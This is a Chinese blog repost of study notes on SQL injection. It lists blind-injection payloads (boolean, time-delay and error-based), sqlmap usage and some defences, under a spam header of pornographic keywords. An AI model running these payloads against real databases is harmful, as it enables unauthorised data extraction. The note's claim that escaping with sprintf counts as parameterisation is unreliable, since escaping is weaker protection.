日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御

發布時間:2024/7/23 数据库 44 豆豆
生活随笔 收集整理的這篇文章主要介紹了 sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

第? ?21???

SQL注入的利用與防御

課程入口(付費)

個人背景

李,本科,電子信息工程專業,畢業一年半,有JavaScript的,PHP,Python的語言基礎,目前自學網絡安全中。

SQL注入的利用與防御

01 SQL盲注

1.1 SQL盲注概念

無法通過SQL注入在頁面返回內容中找到所需要的數據或者用作注入成功判斷的內容,都可以稱作SQL盲注;這里包含說即使頁面報錯,但是很可能是通用的錯誤信息,不能用于注入判斷的情況。

? ? ? ?

1.2 SQL盲注分類

按照網上的分類,有三種:布爾型、時間型、錯誤型。

? ? ? ?

1.3 布爾型

  • left() 函數

left(database(),1)>'s' ? ? ? ? ? ?

解析:database()顯示數據庫名稱,left(a,b)從左側截取a的前b位

  • substr()函數,ascii()函數

ascii(substr((select table_name information_schema.tables wheretables_schema=database()limit 0,1),1,1))=101 --+

解析:substr(a,b,c)從b位置開始,截取字符串a的c長度。ascii()將某個字符轉換為ascii值

ascii(substr((select database()),1,1))=98
  • ORD()函數,MID()函數

ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROMsecurity.users ORDER BY id LIMIT 0,1),1,1))>98%23 ? ? ? ? ? ?

解析:MID(a,b,c)從位置b開始,截取a字符串的c位ORD()函數同ascii(),將字符轉為ascii值

  • regexp正則注入

正則注入介紹:

http://www.cnblogs.com/lcamry/articles/5717442.html

用法介紹:select user() regexp '^[a-z]';

解析:正則表達式的用法,user()結果為root,regexp為匹配root的正則表達式。

第二位可以用select user() regexp '^ro'來進行 ??

當正確的時候顯示結果為1,不正確的時候顯示結果為0

  • like匹配注入

和上述的正則類似,mysql在匹配的時候我們可以用ike進行匹配。

用法:select user() like 'ro%'

1.4 時間型

  • sleep()函數

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 ?

if判斷語句,條件為假,執行sleep,延時5秒

  • BENCHMARK(count,expr) 函數

UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null)FROM (select database() as current) as tb1;

BENCHMARK(count,expr)用于測試函數的性能,參數一為次數,二為要執行的表達式。可以讓函數執行若干次,返回結果比平時要長,通過時間長短的變化,判斷語句是否執行成功。

這是一種邊信道攻擊,在運行過程中占用大量的cpu資源。推薦使用sleep()函數進行注入。

Mysql

BENCHMARK(100000,MD5(1)) ?or sleep(5)

Postgresql

PG_SLEEP(5) ??OR GENERATE_SERIES(1,10000)

Mssql server

WAITFOR DELAY '0:0:5'

1.5 錯誤型

select exp(~(select * FROM(SELECT USER())a)) ? ? ? ?//double數值類型超出范圍,Exp()為以e為底的對數函數;版本在5.5.5及其以上

可以參考exp報錯文章:

http://www.cnblogs.com/lcamry/articles/5509124.html

select !(select * from (select user())x) -(ps:這是減號) ~0 ? //bigint超出范圍;~0是對0逐位取反,很大的版本在5.5.5及其以上

可以參考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html

extractvalue(1,concat(0x7e,(select @@version),0x7e))//mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤updatexml(1,concat(0x7e,(select @@version),0x7e),1) ? //mysql對xml數據進行查詢和修改的xpath函數,xpath語法錯誤select*from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql重復特性,此處重復了version,所以報錯。

具體盲注介紹請參考:

https://www.cnblogs.com/lcamry/p/5763129.html

02 SQL MAP簡單實用

GET請求

sqlmap.py -u “http://baidu.com/cmd?id=1”

POST請求

sqlmap.py -u 'http://www.baidu.com ' --data 'id=1&search=2'

具體SQLMap請參考:

https://www.cnblogs.com/ichunqiu/p/5805108.html

https://www.fujieace.com/hacker/sqlmap-12.html

03 SQL注入防御
  • 在代碼層面,可以使用參數化語句或者強制數據類型,強制類型比較好理解,就是比如某個參數的值能確定是int,在構建SQL語句前先強制int轉換類型,而參數化的話比如PHP中的參數化可以這樣寫:

$query=sprintf("select * from users where id='%s'",mysqli_real_escape_string($con,$id));

$result=mysqli_query($con,$query);

  • 使用黑白名單進行輸入驗證,對用戶提交內容進行驗證,比如針對特殊關鍵詞,比如union可以列入黑名單,一旦發現則認定為攻擊請求,直接屏蔽。有一些語言有自帶這樣的驗證用的安全方法可以直接調用,或者用一些外部的安全框架和API也是可以的,比如之前的章節內容提到的OWASP的ESAPI。

  • 可以使用WAF產品,不過其實這個方法對Web漏洞是通用。

0

下期更新筆記內容:

常見WEB漏洞:文件上傳 第一節?

總結

以上是生活随笔為你收集整理的sql md5函数_【学习笔记】常见漏洞:SQL注入的利用与防御的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。